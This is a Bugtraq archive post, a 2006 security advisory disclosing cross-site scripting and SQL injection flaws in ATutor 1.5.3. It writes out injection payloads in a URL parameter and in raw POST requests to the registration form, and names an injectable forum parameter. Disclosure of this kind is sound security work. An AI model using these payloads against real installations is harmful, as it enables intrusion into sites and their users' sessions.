Home page logo
/

bugtraq logo Bugtraq mailing list archives

ATutor 1.5.3 Cross Site Scripting
From: securityconnection () gmail com
Date: 8 Jul 2006 12:44:23 -0000

ATutor 1.5.3
http://www.atutor.ca
--------------------------
Cross Site Scripting (XSS)
--------------------------
http://target.xx/documentation/index_list.php?lang=";><script>alert(/EllipsisSecurityTest/)</script>
---
POST http://target.xx:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
ml=1&year="><script>alert(/EllipsisSecurityTest/)</script>
---
POST http://target.xx:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
ml=1&month="><script>alert(/EllipsisSecurityTest/)</script>
---
POST http://target.xx:80/registration.php?register=Register HTTP/1.0
Accept: */*
Content-Type: application/x-www-form-urlencoded
Host: target.xx
ml=1&day="><script>alert(/EllipsisSecurityTest/)</script>
-------------
SQL injection
-------------
http://target.xx/forum/index.php?fid=-1[SQL]
-----------------
Ellipsis Security
http://www.ellsec.org


  By Date           By Thread  

Current thread:
[ Nmap | Sec Tools | Mailing Lists | Site News | About/Contact | Advertising | Privacy ]
AlienVault